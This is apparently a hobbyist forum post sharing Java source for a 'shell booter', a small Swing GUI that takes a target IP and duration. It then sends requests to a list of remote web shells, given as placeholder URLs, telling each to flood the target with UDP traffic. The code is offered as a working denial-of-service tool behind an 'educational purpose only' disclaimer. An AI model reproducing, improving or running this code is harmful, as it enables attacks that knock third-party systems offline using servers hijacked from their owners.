Java ShellBooter, From Scratch

This is a java project made for fun, and for build my java understandment up, this is only for educationel Purpose only, i'm not responsable for any damage done made with this tool.

[jGui.java] :
/**
 * Java shell booter.
 * @author (AnonCat)
 * @Skype (jAnoncat)
 * @version (1.2Beta)
 */

import java.awt.Color;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import javax.swing.*;



public class jGui extends JFrame {
    private static final long serialVersionUID = 1L;

public static void showFrame(String string,int width,int height) {

        JPanel jp = new JPanel();
        JButton bStart = new JButton("Start");
        JLabel Jl = new JLabel("IP:");
        JLabel JlP = new JLabel("Time:");
        JFrame Jf = new JFrame(string);

        final JTextField IP = new JTextField();
        final JTextField Port = new JTextField();
        Jf.setSize(width, height);
        Jf.setContentPane(jp);
        Jf.setResizable(false);
        Jf.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        jp.setLayout(null);
        jp.add(Jl).setBounds(1, 1, 15, 30);
        //Set Compenments Colors
        jp.setBackground(Color.BLACK);
        bStart.setBackground(Color.black);
        bStart.setForeground(Color.green);
        Jl.setForeground(Color.green);
        Port.setBackground(Color.black);
        IP.setBackground(Color.black);
        Port.setForeground(Color.GREEN);
        IP.setForeground(Color.GREEN);
        JlP.setForeground(Color.green);
        jp.add(IP).setBounds(16, 1, 184, 30);
        jp.add(JlP).setBounds(1, 41, 199, 30);
        jp.add(bStart).setBounds(1, 75, 199, 30);

        jp.add(Port).setBounds(36, 41, 164, 30);
        Jf.setVisible(true);

        //Button Start
        bStart.addActionListener(new ActionListener() {

                @Override
                public void actionPerformed(ActionEvent arg0) {
                        Boot(IP.getText(),Integer.parseInt(Port.getText()));
                }

        });
}
public static void main(String[] args) {
        showFrame("Java ShellBoot" , 210,135);
}
@SuppressWarnings("unused")
private static void Boot(String i,int t) {
        for(int sh = 0; sh< SL.ShellList.length;sh++) {
        try {
                URL Shell = new URL(SL.ShellList[sh] + i+"&port=80" + "&time=" + t+"&method=UDP&key=USER53cbc482834d");
                URLConnection shellcon = Shell.openConnection();
                shellcon.connect();
        } catch (MalformedURLException e) {
            PrivateErrorMessage("Unknown Websites");
        } catch (IOException e) {
            PrivateErrorMessage("Unknown Host");

        }
        }

}
private static void PrivateErrorMessage(String error) {
System.out.println(error);
}
}

[SL.java] :

public class SL {
public static String[] ShellList = {
    //Shells Goes here.
        "http://Shell.com/",
        "http://Shell.com/"
};
}